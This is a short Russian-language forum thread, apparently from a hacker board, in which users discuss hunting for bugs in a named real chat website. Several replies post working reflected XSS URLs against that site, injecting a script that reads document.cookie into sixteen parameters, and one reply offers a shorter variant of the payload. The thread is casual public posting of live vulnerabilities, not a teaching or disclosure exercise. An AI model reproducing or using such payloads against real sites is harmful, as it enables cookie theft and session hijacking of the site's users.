Мне этот чат знаком до боли... Уже незнаю скок раз пытался там баги найти!!! Не нашол нчего, все че получалось это ток флуд)) че могу сказать, чат действительно клево сделан (я имею ввиду безопасность) ну есле кто чего найдет, поделитесь будет очень интересно! тебе тож драсте )))
Да? http://chatinet.zp.ua/winter2005/party/?001=6941337<a>%22%27"><script>alert(document.cookie)</script>
upd http://chatinet.zp.ua/winter2005/party/?001=6941337<a>%22%27"><script>alert(document.cookie)</script> Заменяем 001, на: 002, 003, 004, 005, 006, 007, 008, 009, 010, 011, 012, 013, 014, 015, 016. Везде там xss
Плохой из тебя хакер ) http://chatinet.zp.ua/winter2005/party/?"><script>alert(document.cookie)</script> так тоже можно и короче.. а вообще хсс не должен выдовать данные которыми могут воспользоваться в злосных целях..
